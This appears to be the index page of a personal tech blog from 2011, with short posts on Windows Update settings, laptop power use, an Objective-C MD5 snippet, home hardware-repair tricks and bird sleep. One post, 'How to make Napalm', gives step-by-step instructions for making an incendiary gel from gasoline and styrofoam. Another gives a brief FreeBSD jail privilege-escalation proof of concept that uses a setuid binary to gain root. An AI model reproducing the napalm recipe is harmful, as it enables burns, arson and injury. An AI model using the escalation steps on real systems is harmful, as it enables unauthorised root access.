My Writings. My Thoughts.
How to stop the automatic “Please do not power off or unplug your machine, installing updates x of y”
// August 25th, 2011 // 5 Comments » // microsoft, windows
I often get this annoying popup (I have often wondered why there is no “DO NOT REMIND ME” option”).
Followed by these two once I attempt to shut down Windows 7.
This has caused some serious problems to me. Unexpected shutdowns while playing games, or while away from the computer.
I finally took the time, 60 seconds or so, to fix the problem!
Maby you, dear reader, should do the same?
Click the Windows button, goto Control Panel.
Type “update” in the search box (1)
Click “Windows Update” (2)
Click “Change settings”
Choose “Download updates but let me choose whether to install them”
From now on, this little guy will appear once in a while in the bottom right corner of your screen. Click them whenever you want to install those updates.
DELL D620 power usage (Win 7 vs Mint 11)
// August 23rd, 2011 // 3 Comments » // hardware, linux, microsoft
I recently bought a JOEL Wattforbrugsmåler.
My laptop, a Dell D620, has both Windows and Linux (Dualboot).
I was curious to see whether there was any difference in power consumption during idle, so I decided to put my new device to use!
I removed the battery from the laptop and plugged the charger into my power measuring device before I made sure Windows 7 was running up-to-date drivers, while Linux ran the default drivers.
I then disabled all non-default services and removed any third-party programs from the startup. I booted into each os, let it run for some time (to make sure it was indeed idle) before turning on the clock.
I measured the Watt-Hour usage by each operating system, during the period of one hour.
The power usage, to my surprise, was not the same during the time frame – Linux uses only 71% of the power consumed by Windows, during idle.
Getting the MD5 of a string in Objective-C
// August 14th, 2011 // 1 Comment » // coding
//
// main.m
// md5 example
//
// Created by Petur Ingi Egilsson on 8/14/11.
// Copyright 2011 Petur.eu All rights reserved.
//
#import <Foundation/Foundation.h>
#import <CommonCrypto/CommonDigest.h>
@interface NSString(md5)
-(NSString *) MD5;
@end
@implementation NSString(md5)
-(NSString *) MD5
{
NSString *md5 = [NSString string];
const char *cStr = [self cStringUsingEncoding:NSUTF8StringEncoding];
unsigned char buffer[CC_MD5_DIGEST_LENGTH];
CC_MD5(cStr, (CC_LONG)[self length], buffer);
for (int i = 0; i < CC_MD5_DIGEST_LENGTH; i++)
{
md5 = [md5 stringByAppendingString:[NSString stringWithFormat:@"%02x", buffer[i]]];
}
return md5;
}
@end
int main (int argc, const char * argv[])
{
NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
NSString *result = @”Hello world”;
NSLog(@”MD5: %@”, [result MD5]);
[pool drain];
return 0;
}
Data Recovery using the Freezing Method
// August 5th, 2011 // No Comments » // hardware
Theres a myth which states that Putting a dead hard drive into the freezer for a few hours can bring it to life again for a few minutes, up to a few hours.
This should be considered a last resort recovery method. There are professional data recovery companies out there who can recover your data for a price.
One of my harddrives stopped working, making that horrifying click-click/hack-hack sound. I do keep backup of all important data – my music library not fulfilling that criteria, so I decided to test the “Freezing method”, it worked and here is how:
1. Put lots of rice into a large zip bag, put the hard drive on top of the rice (circuit board facing up). Then put the drive into the freezer over night. The rice will protect the electronic circuits by absorbing the moisture which forms as the air in the bag cools down.
2. As soon as you plug the drive back into the computer, start recovering the most important files. The drive might stop working any minute now so you better hurry up. I suggest connecting the drive to a Linux machine rather than Windows, as Linux seams to be tolerant towards filesystem errors.
I got about 2 hours out of my drive, enough to save my whole music library.
AVOID connecting the drive to an external USB enclosure, those tend to heat up much faster and USB is also more slow than SATA.
How to make Napalm
// July 31st, 2011 // No Comments » // linux
For educational purposes ONLY!
Napalm is DANGEROUS, it burns at 800-1200 degrees Celsius for up to 30 minutes and is very sticky – DO NOT TOUCH IT.
First – You need 3 things:
1. A container ( Napalm eats through plastic, use glass or metal )
2. Gasoline
3. Styrofoam
First pour a small amout of gasoline in the container (Not too much, maybe fill around one fifth of the can
Put some styrofoam in your container (Not too much at the time, let it desolve before putting in more styrofoam)
Now stir it, if you done it right it will have become a tick paste\gel.
Now you can throw the sticky tick liquid out of the can and at something not flameable and light it.
Enjoy your Napalm
Where do birds go at night?
// July 31st, 2011 // No Comments » // linux
On numerous occasions I have wondered where all of the birds end up during the night.
During the winter months some species will obviously make their wintering roost site noticeable by roosting together in one large group (but rarely do we see them actually sleeping). The most typical example is when the American Crows flying many miles from their wintering territories to this one specific tree in someone’s backyard.
As humans we take for granted when we are tired we just put on our pajamas, climb into a nice warm bed and conk out for about 8 eight hours. Birds don’t have this luxury. These tiny creatures must always be alert as there are so many predators out to get them.
Always needing to stay vigilant, some birds rarely get much sleep. Many birds sleep in flocks where they have the protection of the group. Usually one or a few birds will stay awake on the lookout for danger.
How do they sleep? Although it depends on the species, most sleep while standing or perched on a branch. Most sleep with the head turned and laying on the shoulder and the bill tucked among fluffed up back plumage. They also fluff out their feathers to keep warm.
Still others have found a more comfortable way to sleep. In Britain, for example, Tree creepers discovered the comfort of the Redwoods. These trees have very soft barks – perfect for a good night’s sleep. Using their feet the birds carve out a small hollow and lie in it.
The location of where they sleep is just as important as how birds sleep. As mentioned earlier there should be protection against enemies. Raccoons, snakes, crows, cats, all kinds of things can get them while they are sleeping and only half-aware. But in addition they need protection from the elements as well.
In bitter cold temperatures, birds can even face the possibility of freezing to death. To offset this there are several things they can do.
* One is to have accumulated enough fat from daytime feeding activities to maintain their metabolism through the night.
* They can also drop their temperature as much as 20 degrees.
* Huddling together helps too. By doing this, the greatly decrease the amount of body heat lost than if they were by themselves.
As cities, tend to be a bit warmer than the urban areas, some birds enjoy sleeping in here. For loners, birds like to perch near neon signs and street lamps, not for the light but for the heat they give off.
I baked my graphics card in the kitchen oven!
// July 30th, 2011 // 9 Comments » // hardware
My computer started to freeze regularly, a few weeks ago, while running computer games. A quick reboot or two fixed the problem.
Last week it got worse, strange artifacts appeared all over the screen while doing normal work in both Linux and Windows.

Finally it came to a dead stop, I could only see random letters on the screen after rebooting and the operating system refused to boot.
Confused, angry and disappointed I ordered a new computer.
It takes 5 days for UPS to deliver my new machine, sitting here idle in my summer vacation was making me mad!
I started digging into the internetz till I found someone who claimed that it was possible to fix broken display adpaters by baking them in the oven!
After lots of WTF thinking I decided to give it a try.

First I removed heatsink from my GeForce 8800 GTS card & rubbed the thermal gel off the GPU. Next I preheated the kitchen owen to 200 degrees Celsius. I put some aluminum foil on the oven plate (to protect the card from all the grease and dirt) and my graphics card on top of that ( with the GPU facing up ). In it went for 10 minutes. I was scared something would blow up, so I went out of the kitchen and waited those 10 long minutes in my bedroom. When I came back to the kitchen, I noticed this awful smell – which got worse once I opened up the oven. No need to worry though coz the card is RHoS compliant! (meaning, no dangerous chemicals are in it). After about 20 minutes later the card was cool enouth to handle, I reassembled it and put it back into my machine.
Just as i was about to press the power button, a thought crossed my mind – “What if the computer gets on fire?”. I foolishly ignored it and in the button went!
IT WORKED! I was so amazed, without words.
Aparently there is an explaination for this:
Graphics card generally run very hot. During the last 4 years of usage it has been heated up hundreds of times and cooled back down. This causes small cracks to form in the soldiering. Putting the card into a oven at 200 degress Celsius melts the “tin” or whatever material they use, back into place and fills up those cracks – thus fixing the problem.
Passwordless SSH
// May 21st, 2011 // No Comments » // linux, os x, security
Tired of having to retype your password each time you login to that remote computer?
Let me show you how to setup passwordless ssh.
Continue Reading
How to : Install Ubuntu onto software RAID0
// May 20th, 2011 // 11 Comments » // How to, linux
Found this nifty article which explains how to install Ubuntu onto software raid 0
Continue Reading
Rooting FreeBSD , Privilege Escalation using Jails
// May 6th, 2011 // 11 Comments » // linux
Pétur Ingi Egilsson <petur@petur.eu>
Affected:
FreeBSD 8.2 – Confirmed
Proof of concept:
From within the jail:
Compile the following using gcc and move resulting executable to /tmp/a.out
#include <stdio.h>
main(){
system(“whoami”);
}
Make sure /tmp/a.out is owned by root and that is has the setuid flag set ( chmod u+s a.out )
From within the jails host as a regular user:
Locate the jails directory structure ( use the command ‘jls’ )
Execute the a.out program
Speed up your Internet browsing on Linux with a DNS Cache server
// March 24th, 2011 // 14 Comments » // linux
How to flush DNS cache Linux, Mac OS X, Windows
// March 21st, 2011 // 2 Comments » // linux, microsoft, os x, windows
Women are subject to sexual harassment in online games
// March 20th, 2011 // No Comments » // linux
Microsoft Confirms IE9 is suffering against an old, unpatched IE vulnerability
// March 18th, 2011 // No Comments » // exploits, ie9, microsoft, security, vulnerability, windows
9 OS X Command Line Utilities you probably didn’t know about
// February 26th, 2011 // 1 Comment » // os x
Ubuntu Linux DLNA Server for 40″ Sony Bravia ( 40EX715 )
// January 13th, 2011 // No Comments » // linux
Update: Change to your Favorite directories on the bash shell by scripting ‘cd’
// July 15th, 2010 // 13 Comments » // coding, linux
Change to your Favorite directories on the bash shell by scripting ‘cd’.
// July 11th, 2010 // 10 Comments » // coding, linux
Linux: Howto download ISO files directly to a CD/DVD/BLU-RAY
// July 8th, 2010 // 18 Comments » // linux
Execute commands on a firewalled remote machine using Dropbox
// June 29th, 2010 // 5 Comments » // coding, linux
Download YouTube Music Videos to MP3 files on Linux
// March 22nd, 2010 // 11 Comments » // coding, linux, Projects














